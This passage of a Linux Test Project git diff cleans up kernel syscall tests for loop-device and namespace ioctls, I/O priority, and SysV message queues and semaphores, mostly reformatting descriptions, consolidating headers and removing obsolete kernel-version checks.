LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic ioctl test about loopdevice. - * - * It is designed to test LO_FLAGS_READ_ONLY (similar as losetup -r) - * and LOOP_CHANGE_FD. + * Tests ioctl() on loopdevice with LO_FLAGS_READ_ONLY (similar as losetup -r) and + * LOOP_CHANGE_FD flags. * * For LOOP_CHANGE_FD, this operation is possible only if the loop device * is read-only and the new backing store is the same size and type as the * old backing store. * - * If using LOOP_CONFIGURE ioctl, we can set LO_FLAGS_READ_ONLY + * When using LOOP_CONFIGURE ioctl(), it can set LO_FLAGS_READ_ONLY * flag even though backing file with write mode. */ diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop03.c b/testcases/kernel/syscalls/ioctl/ioctl_loop03.c index 9cf5a41f..a7b0230e 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop03.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop03.c @@ -1,11 +1,16 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic ioctl test about loopdevice. + * Tests ioctl() on loopdevice with LOOP_CHANGE_FD flag. * - * It is designed to test LOOP_CHANGE_FD can not succeed (get EINVAL error) + * Tests whether LOOP_CHANGE_FD can not succeed (get EINVAL error) * when loop_dev is not read only. */ diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop04.c b/testcases/kernel/syscalls/ioctl/ioctl_loop04.c index b4ab44a7..5b7506ea 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop04.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop04.c @@ -1,14 +1,20 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic ioctl test about loopdevice. + * Tests ioctl() on loopdevice with LOOP_SET_CAPACITY flag. * - * It is designed to test LOOP_SET_CAPACITY can update a live - * loop device size when we change the size of the underlying - * backing file. Also check sys value. + * Tests whether LOOP_SET_CAPACITY can update a live + * loop device size after change the size of the underlying + * backing file. Also checks sysfs value. */ + #include #include #include diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop05.c b/testcases/kernel/syscalls/ioctl/ioctl_loop05.c index 58aa6f0d..3a5d5afe 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop05.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop05.c @@ -1,13 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2020-2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic ioctl test about loopdevice. + * Tests ioctl() on loopdevice with LOOP_SET_DIRECT_IO flag. * - * It is designed to test LOOP_SET_DIRECT_IO can update a live - * loop device dio mode. It needs the backing file also supports - * dio mode and the lo_offset is aligned with the logical block size. + * Tests whether LOOP_SET_DIRECT_IO can update a live loop device dio mode. + * It requires the backing file also supports dio mode and the lo_offset is + * aligned with the logical block size. * * The direct I/O error handling is a bit messy on Linux, some filesystems * return error when it coudln't be enabled, some silently fall back to regular @@ -32,7 +37,7 @@ #define DIO_MESSAGE "In dio mode" #define NON_DIO_MESSAGE "In non dio mode" -static char dev_path[1024], sys_loop_diopath[1024], backing_file_path[1024];; +static char dev_path[1024], sys_loop_diopath[1024], backing_file_path[1024]; static int dev_num, dev_fd, block_devfd, attach_flag, logical_block_size; static void check_dio_value(int flag) @@ -120,7 +125,7 @@ static void setup(void) * needn't transform transfer. */ sprintf(backing_file_path, "%s/test.img", tst_get_tmpdir()); - tst_find_backing_dev(backing_file_path, bd_path); + tst_find_backing_dev(backing_file_path, bd_path, sizeof(bd_path)); block_devfd = SAFE_OPEN(bd_path, O_RDWR); SAFE_IOCTL(block_devfd, BLKSSZGET, &logical_block_size); tst_res(TINFO, "backing dev(%s) logical_block_size is %d", bd_path, logical_block_size); diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop06.c b/testcases/kernel/syscalls/ioctl/ioctl_loop06.c index bd0d289c..6d009af6 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop06.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop06.c @@ -1,10 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic error test about the invalid block size of loopdevice - * by using LOOP_SET_BLOCK_SIZE or LOOP_CONFIGURE ioctl. + * Tests invalid block size of loopdevice by using ioctl() with + * LOOP_SET_BLOCK_SIZE and LOOP_CONFIGURE flags. */ #include diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop07.c b/testcases/kernel/syscalls/ioctl/ioctl_loop07.c index efe48962..d44f3621 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop07.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop07.c @@ -1,17 +1,20 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2022 * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Tests ioctl() on loopdevice with LOOP_SET_STATUS64 and LOOP_GET_STATUS64 flags. * - * This is a basic ioctl test about loopdevice LOOP_SET_STATUS64 - * and LOOP_GET_STATUS64. - * Test its lo_sizelimit field. If lo_sizelimit is 0,it means max + * Tests lo_sizelimit field. If lo_sizelimit is 0, it means max * available. If sizelimit is less than loop_size, loopsize will * be truncated. * - * We also use LOOP_CONFIGURE ioctl to test lo_sizelimit field. It is - * also a regression test for - * commit 79e5dc59e297 ("loop: Set correct device size when using LOOP_CONFIGURE"). + * Also uses LOOP_CONFIGURE ioctl to test lo_sizelimit field. */ #include diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns01.c b/testcases/kernel/syscalls/ioctl/ioctl_ns01.c index 36d2b3b6..06c81ba1 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns01.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns01.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_PARENT request. * * Parent process tries to get parent of initial namespace, which should @@ -11,16 +14,15 @@ * * Child process has a new pid namespace, which should make the call fail * with EPERM error. - * */ + #define _GNU_SOURCE #include -#include #include #include "tst_test.h" #include "lapi/ioctl_ns.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define STACK_SIZE (1024 * 1024) @@ -58,9 +60,9 @@ static void test_ns_get_parent(void) else tst_res(TFAIL | TERRNO, "unexpected ioctl error"); } else { - SAFE_CLOSE(fd); tst_res(TFAIL, "call to ioctl succeded"); } + SAFE_CLOSE(fd); } static int child(void *arg LTP_ATTRIBUTE_UNUSED) diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns02.c b/testcases/kernel/syscalls/ioctl/ioctl_ns02.c index 33ef757a..3c958c14 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns02.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns02.c @@ -1,16 +1,19 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_PARENT request. * - * Tries to get namespace parent for UTS namespace, which + * Test tries to get namespace parent for UTS namespace, which * should make the call fail with EINVAL, being a nonhierarchical * namespace. - * */ + #define _GNU_SOURCE #include @@ -40,9 +43,9 @@ static void run(void) else tst_res(TFAIL | TERRNO, "unexpected ioctl error"); } else { - SAFE_CLOSE(fd); tst_res(TFAIL, "call to ioctl succeded"); } + SAFE_CLOSE(fd); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns03.c b/testcases/kernel/syscalls/ioctl/ioctl_ns03.c index 279032d2..bdd80585 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns03.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns03.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_OWNER_UID request. * * Calls ioctl for a UTS namespace, which isn't a user namespace. @@ -33,19 +36,17 @@ static void run(void) owner_fd = ioctl(fd, NS_GET_OWNER_UID, &uid); if (owner_fd == -1) { - if (errno == ENOTTY) { - tst_brk(TCONF, - "ioctl(NS_GET_OWNER_UID) not implemented"); - } + if (errno == ENOTTY) + tst_brk(TCONF, "ioctl(NS_GET_OWNER_UID) not implemented"); if (errno == EINVAL) tst_res(TPASS, "NS_GET_OWNER_UID fails, UTS namespace"); else tst_res(TFAIL | TERRNO, "unexpected ioctl error"); } else { - SAFE_CLOSE(fd); tst_res(TFAIL, "call to ioctl succeded"); } + SAFE_CLOSE(fd); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns04.c b/testcases/kernel/syscalls/ioctl/ioctl_ns04.c index 90035cbe..8c5c9f96 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns04.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns04.c @@ -1,15 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_USERNS request. * * Owning user namespace of process calling ioctl is out of scope, * which should make the call fail with EPERM. - * */ + #define _GNU_SOURCE #include @@ -39,9 +42,9 @@ static void run(void) else tst_res(TFAIL | TERRNO, "unexpected ioctl error"); } else { - SAFE_CLOSE(fd); tst_res(TFAIL, "call to ioctl succeded"); } + SAFE_CLOSE(fd); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns05.c b/testcases/kernel/syscalls/ioctl/ioctl_ns05.c index 52613810..36e41c46 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns05.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns05.c @@ -1,25 +1,27 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_PARENT request. * * Child cloned with the CLONE_NEWPID flag is created in a new pid namespace. * That's checked by comparing its /proc/self/ns/pid symlink and the parent's * one. Also child thinks its pid is 1. - * */ + #define _GNU_SOURCE #include #include -#include #include #include "tst_test.h" #include "lapi/ioctl_ns.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define STACK_SIZE (1024 * 1024) diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns06.c b/testcases/kernel/syscalls/ioctl/ioctl_ns06.c index c30f7de9..45fc01ce 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns06.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns06.c @@ -1,26 +1,28 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2019-2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_USERNS request. * * After the call to clone with the CLONE_NEWUSER flag, * child is created in a new user namespace. That's checked by * comparing its /proc/self/ns/user symlink and the parent's one, * which should be different. - * */ + #define _GNU_SOURCE #include #include -#include #include #include "tst_test.h" #include "lapi/ioctl_ns.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define STACK_SIZE (1024 * 1024) diff --git a/testcases/kernel/syscalls/ioctl/ioctl_ns07.c b/testcases/kernel/syscalls/ioctl/ioctl_ns07.c index 06cf70a1..9cfa57fb 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_ns07.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_ns07.c @@ -1,15 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com + * Copyright (c) 2019 Federico Bonfiglio + * Copyright (c) Linux Test Project, 2022 */ -/* +/*\ + * [Description] + * * Test ioctl_ns with NS_GET_* request for file descriptors * that aren't namespaces. * * Calling ioctl with test directory's file descriptor * should make the call fail with ENOTTY. - * */ #define _GNU_SOURCE diff --git a/testcases/kernel/syscalls/ioctl/ioctl_sg01.c b/testcases/kernel/syscalls/ioctl/ioctl_sg01.c index 94b30dc6..dfbba399 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_sg01.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_sg01.c @@ -126,6 +126,7 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 3600, .tags = (const struct tst_tag[]) { {"linux-git", "a45b599ad808"}, {"CVE", "2018-1000204"}, diff --git a/testcases/kernel/syscalls/ioctl/test_ioctl b/testcases/kernel/syscalls/ioctl/test_ioctl index 92327543..43836a22 100755 --- a/testcases/kernel/syscalls/ioctl/test_ioctl +++ b/testcases/kernel/syscalls/ioctl/test_ioctl @@ -34,29 +34,6 @@ has_tty() return 1 } -for tttype in `ls /dev/tty*` -do -device_no=${tttype#/dev/tty} -case "$device_no" in -[0-9]|[0-9][0-9]) - has_tty $tttype - if [ $? -eq 0 ]; then - tst_resm TINFO "Skipping ioctl01 with $tttype" - continue - fi - tst_resm TINFO "Testing ioctl01 with $tttype" - ioctl01 -D $tttype - RC=$? - if [ $RC -eq 0 ] - then - tst_resm TPASS "ioctl01 Passed with $tttype" - else - tst_resm TFAIL "ioctl01 Failed with $tttype" - fi -echo;; -esac -done - for tttype in `ls /dev/tty*` do device_no=${tttype#/dev/tty} diff --git a/testcases/kernel/syscalls/ioperm/ioperm01.c b/testcases/kernel/syscalls/ioperm/ioperm01.c index 8f2cc684..4bc30ff4 100755 --- a/testcases/kernel/syscalls/ioperm/ioperm01.c +++ b/testcases/kernel/syscalls/ioperm/ioperm01.c @@ -42,16 +42,7 @@ static void verify_ioperm(void) static void setup(void) { - /* - * The value of IO_BITMAP_BITS (include/asm-i386/processor.h) changed - * from kernel 2.6.8 to permit 16-bits ioperm - * - * Ricky Ng-Adam, rngadam@yahoo.com - * */ - if (tst_kvercmp(2, 6, 8) < 0) - io_addr = IO_BITMAP_BITS - NUM_BYTES; - else - io_addr = IO_BITMAP_BITS - NUM_BYTES; + io_addr = IO_BITMAP_BITS - NUM_BYTES; } static void cleanup(void) diff --git a/testcases/kernel/syscalls/ioperm/ioperm02.c b/testcases/kernel/syscalls/ioperm/ioperm02.c index 33c50190..eab701d9 100755 --- a/testcases/kernel/syscalls/ioperm/ioperm02.c +++ b/testcases/kernel/syscalls/ioperm/ioperm02.c @@ -45,19 +45,8 @@ static struct tcase_t { static void setup(void) { - /* - * The value of IO_BITMAP_BITS (include/asm-i386/processor.h) changed - * from kernel 2.6.8 to permit 16-bits (65536) ioperm - * - * Ricky Ng-Adam, rngadam@yahoo.com - */ - if ((tst_kvercmp(2, 6, 8) < 0) || (tst_kvercmp(2, 6, 9) == 0)) { - tcases[0].from = (IO_BITMAP_BITS - NUM_BYTES) + 1; - tcases[1].from = IO_BITMAP_BITS - NUM_BYTES; - } else { - tcases[0].from = (IO_BITMAP_BITS_16 - NUM_BYTES) + 1; - tcases[1].from = IO_BITMAP_BITS_16 - NUM_BYTES; - } + tcases[0].from = (IO_BITMAP_BITS_16 - NUM_BYTES) + 1; + tcases[1].from = IO_BITMAP_BITS_16 - NUM_BYTES; struct passwd *pw; pw = SAFE_GETPWNAM("nobody"); diff --git a/testcases/kernel/syscalls/ioprio/ioprio.h b/testcases/kernel/syscalls/ioprio/ioprio.h index c7438047..dbe27c15 100755 --- a/testcases/kernel/syscalls/ioprio/ioprio.h +++ b/testcases/kernel/syscalls/ioprio/ioprio.h @@ -1,33 +1,14 @@ /* SPDX-License-Identifier: GPL-2.0-or-later */ /* * Copyright (c) 2019 Linus Walleij + * Copyright (c) 2023 Linux Test Project */ #ifndef LTP_IOPRIO_H #define LTP_IOPRIO_H -enum { - IOPRIO_CLASS_NONE = 0, - IOPRIO_CLASS_RT, - IOPRIO_CLASS_BE, - IOPRIO_CLASS_IDLE, -}; - -enum { - IOPRIO_WHO_PROCESS = 1, - IOPRIO_WHO_PGRP, - IOPRIO_WHO_USER, -}; - -/* The I/O scheduler classes have 8 priorities 0..7 except for the IDLE class */ -#define IOPRIO_PRIO_NUM 8 - -#define IOPRIO_CLASS_SHIFT (13) -#define IOPRIO_PRIO_MASK ((1UL << IOPRIO_CLASS_SHIFT) - 1) - -#define IOPRIO_PRIO_CLASS(data) ((data) >> IOPRIO_CLASS_SHIFT) -#define IOPRIO_PRIO_LEVEL(data) ((data) & IOPRIO_PRIO_MASK) -#define IOPRIO_PRIO_VALUE(class, data) (((class) << IOPRIO_CLASS_SHIFT) | data) +#include "lapi/ioprio.h" +#include "lapi/syscalls.h" static const char * const to_class_str[] = { [IOPRIO_CLASS_NONE] = "NONE", @@ -46,10 +27,10 @@ static inline int sys_ioprio_set(int which, int who, int ioprio) return tst_syscall(__NR_ioprio_set, which, who, ioprio); } -/* Priority range from 0 (highest) to 7 (lowest) */ +/* Priority range from 0 (highest) to IOPRIO_PRIO_NUM (lowest) */ static inline int prio_in_range(int prio) { - if ((prio < 0) || (prio > 7)) + if ((prio < 0) || (prio >= IOPRIO_PRIO_NUM)) return 0; return 1; } @@ -91,4 +72,4 @@ static inline void ioprio_check_setting(int class, int prio, int report) newprio); } -#endif +#endif /* LTP_IOPRIO_H */ diff --git a/testcases/kernel/syscalls/ioprio/ioprio_get01.c b/testcases/kernel/syscalls/ioprio/ioprio_get01.c index 6e822434..f1325be3 100755 --- a/testcases/kernel/syscalls/ioprio/ioprio_get01.c +++ b/testcases/kernel/syscalls/ioprio/ioprio_get01.c @@ -1,16 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2019 Linus Walleij + * Copyright (c) 2023 Linux Test Project + */ + +/*\ + * [Description] * - * Description: * Basic ioprio_get() test. Gets the current process I/O priority and * checks that the values are sane. */ -#include -#include #include "tst_test.h" -#include "lapi/syscalls.h" #include "ioprio.h" static void run(void) diff --git a/testcases/kernel/syscalls/ioprio/ioprio_set01.c b/testcases/kernel/syscalls/ioprio/ioprio_set01.c index 19953ba3..0868cea7 100755 --- a/testcases/kernel/syscalls/ioprio/ioprio_set01.c +++ b/testcases/kernel/syscalls/ioprio/ioprio_set01.c @@ -1,17 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2019 Linus Walleij + * Copyright (c) 2019-2023 Linux Test Project + */ + +/*\ + * [Description] * - * Description: * Basic ioprio_set() test. Gets the current process I/O priority and * bumps it up one notch, then down two notches and checks that the * new priority is reported back correctly. */ -#include -#include #include "tst_test.h" -#include "lapi/syscalls.h" #include "ioprio.h" static int orig_class; diff --git a/testcases/kernel/syscalls/ioprio/ioprio_set02.c b/testcases/kernel/syscalls/ioprio/ioprio_set02.c index 328a130c..37db7bf4 100755 --- a/testcases/kernel/syscalls/ioprio/ioprio_set02.c +++ b/testcases/kernel/syscalls/ioprio/ioprio_set02.c @@ -1,17 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2019 Linus Walleij + * Copyright (c) 2023 Linux Test Project + */ + +/*\ + * [Description] * - * Description: * Extended ioprio_set() test. * Tests to set all 8 priority levels for best effort priority, then * switches to test all 8 priority levels for idle priority. */ -#include -#include #include "tst_test.h" -#include "lapi/syscalls.h" #include "ioprio.h" static void run(void) diff --git a/testcases/kernel/syscalls/ioprio/ioprio_set03.c b/testcases/kernel/syscalls/ioprio/ioprio_set03.c index b2c962a6..6efcacc1 100755 --- a/testcases/kernel/syscalls/ioprio/ioprio_set03.c +++ b/testcases/kernel/syscalls/ioprio/ioprio_set03.c @@ -1,16 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2019 Linus Walleij + * Copyright (c) 2023 Linux Test Project + */ + +/*\ + * [Description] * - * Description: * Negative ioprio_set() test. Test some non-working priorities to make * sure they don't work. */ -#include -#include #include "tst_test.h" -#include "lapi/syscalls.h" #include "ioprio.h" static void run(void) @@ -27,7 +28,7 @@ static void run(void) sys_ioprio_set(IOPRIO_WHO_PROCESS, 0, IOPRIO_PRIO_VALUE(class, 4)); TEST(sys_ioprio_set(IOPRIO_WHO_PROCESS, 0, - IOPRIO_PRIO_VALUE(class, 8))); + IOPRIO_PRIO_VALUE(class, IOPRIO_PRIO_NUM))); if (TST_RET == -1) { ioprio_check_setting(class, 4, 1); if (errno == EINVAL) diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c index 75adcb22..56d1505f 100755 --- a/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c +++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c @@ -6,7 +6,7 @@ */ /* - * Test that IPC_STAT command succeeds and the the buffer is filled with + * Test that IPC_STAT command succeeds and the buffer is filled with * correct data. */ #include diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget02.c b/testcases/kernel/syscalls/ipc/msgget/msgget02.c index ce59a8fb..1885599d 100755 --- a/testcases/kernel/syscalls/ipc/msgget/msgget02.c +++ b/testcases/kernel/syscalls/ipc/msgget/msgget02.c @@ -8,11 +8,11 @@ * * Test for EEXIST, ENOENT, EACCES errors. * - * 1) msgget(2) fails if a message queue exists for key and msgflg + * - msgget(2) fails if a message queue exists for key and msgflg * specified both IPC_CREAT and IPC_EXCL. - * 2) msgget(2) fails if no message queue exists for key and msgflg + * - msgget(2) fails if no message queue exists for key and msgflg * did not specify IPC_CREAT. - * 3) msgget(2) fails if a message queue exists for key, but the + * - msgget(2) fails if a message queue exists for key, but the * calling process does not have permission to access the queue, * and does not have the CAP_IPC_OWNER capability. * diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget03.c b/testcases/kernel/syscalls/ipc/msgget/msgget03.c index 711886e1..9e6c66cb 100755 --- a/testcases/kernel/syscalls/ipc/msgget/msgget03.c +++ b/testcases/kernel/syscalls/ipc/msgget/msgget03.c @@ -41,7 +41,8 @@ static void setup(void) tst_res(TINFO, "Current environment %d message queues are already in use", used_cnt); - SAFE_FILE_SCANF("/proc/sys/kernel/msgmni", "%i", &maxmsgs); + maxmsgs = used_cnt + 32; + SAFE_FILE_PRINTF("/proc/sys/kernel/msgmni", "%i", maxmsgs); queues = SAFE_MALLOC((maxmsgs - used_cnt) * sizeof(int)); @@ -73,5 +74,9 @@ static struct tst_test test = { .needs_tmpdir = 1, .setup = setup, .cleanup = cleanup, - .test_all = verify_msgget + .test_all = verify_msgget, + .save_restore = (const struct tst_path_val[]){ + {"/proc/sys/kernel/msgmni", NULL, TST_SR_TCONF}, + {} + } }; diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c index ebc583b3..3e461b30 100755 --- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c +++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c @@ -83,7 +83,6 @@ static struct tst_test test = { "CONFIG_CHECKPOINT_RESTORE", NULL }, - .min_kver = "3.8.0", .tcnt = ARRAY_SIZE(tcases), .test = verify_msgrcv, .setup = setup, diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c index f4bca5ec..d2d1a882 100755 --- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c +++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c @@ -247,8 +247,7 @@ static void setup(void) { msgkey = GETIPCKEY(); - if (tst_kvercmp(3, 8, 0) >= 0) - msg_copy_sup = 1; + msg_copy_sup = 1; } static void (*testfunc[])(void) = {test_msg_except, test_msg_noerror, diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c index 0a660c04..84e33843 100755 --- a/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c +++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress01.c @@ -280,7 +280,7 @@ void setup(void) * that are not necessary for this test. * That's why we define NR_MSGQUEUES as a high boundary for it. */ - MSGMNI = min(nr_msgqs, NR_MSGQUEUES); + MSGMNI = MIN(nr_msgqs, NR_MSGQUEUES); } void cleanup(void) diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c index e1513104..a0f894b0 100755 --- a/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c +++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress02.c @@ -385,7 +385,7 @@ void setup(void) * that are not necessary for this test. * That's why we define NR_MSGQUEUES as a high boundary for it. */ - MSGMNI = min(nr_msgqs, NR_MSGQUEUES); + MSGMNI = MIN(nr_msgqs, NR_MSGQUEUES); } void cleanup(void) diff --git a/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c index 3cb70ab1..aa37d905 100755 --- a/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c +++ b/testcases/kernel/syscalls/ipc/msgstress/msgstress03.c @@ -110,11 +110,12 @@ int main(int argc, char **argv) } free_pids = tst_get_free_pids(cleanup); - if (nprocs >= free_pids) { + /* Each forked child forks once, take it into account here. */ + if (nprocs * 2 >= free_pids) { tst_resm(TINFO, "Requested number of processes higher than limit (%d > %d), " - "setting to %d", nprocs, free_pids, free_pids); - nprocs = free_pids; + "setting to %d", nprocs * 2, free_pids, free_pids); + nprocs = free_pids / 2; } srand(getpid()); diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl03.c b/testcases/kernel/syscalls/ipc/semctl/semctl03.c index a1a4c81c..f9f335e4 100755 --- a/testcases/kernel/syscalls/ipc/semctl/semctl03.c +++ b/testcases/kernel/syscalls/ipc/semctl/semctl03.c @@ -28,11 +28,21 @@ static union semun arg = {0}; static int libc_semctl(int semid, int semnum, int cmd, ...) { + va_list ap; + + va_start(ap, cmd); + arg = va_arg(ap, union semun); + va_end(ap); return semctl(semid, semnum, cmd, arg); } static int sys_semctl(int semid, int semnum, int cmd, ...) { + va_list ap; + + va_start(ap, cmd); + arg = va_arg(ap, union semun); + va_end(ap); return tst_syscall(__NR_semctl, semid, semnum, cmd, arg); } @@ -88,7 +98,7 @@ static void setup(void) bad_ptr = tst_get_bad_addr(NULL); } -void cleanup(void) +static void cleanup(void) { if (sem_id != -1) SAFE_SEMCTL(sem_id, 0, IPC_RMID); diff --git a/testcases/kernel/syscalls/ipc/semget/.gitignore b/testcases/kernel/syscalls/ipc/semget/.gitignore index ce26c93b..4519b30d 100755 --- a/testcases/kernel/syscalls/ipc/semget/.gitignore +++ b/testcases/kernel/syscalls/ipc/semget/.gitignore @@ -1,5 +1,3 @@ /semget01 /semget02 -/semget03 /semget05 -/semget06 diff --git a/testcases/kernel/syscalls/ipc/semget/Makefile b/testcases/kernel/syscalls/ipc/semget/Makefile index 26b9f264..b1201281 100755 --- a/testcases/kernel/syscalls/ipc/semget/Makefile +++ b/testcases/kernel/syscalls/ipc/semget/Makefile @@ -3,10 +3,10 @@ top_srcdir ?= ../../../../.. -LTPLIBS = ltpipc +LTPLIBS = ltpnewipc include $(top_srcdir)/include/mk/testcases.mk -LTPLDLIBS = -lltpipc +LTPLDLIBS = -lltpnewipc include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/ipc/semget/semget01.c b/testcases/kernel/syscalls/ipc/semget/semget01.c index 217163b3..872acabd 100755 --- a/testcases/kernel/syscalls/ipc/semget/semget01.c +++ b/testcases/kernel/syscalls/ipc/semget/semget01.c @@ -1,172 +1,65 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * semget01.c - * - * DESCRIPTION - * semget01 - test that semget() correclty creates a semaphore set 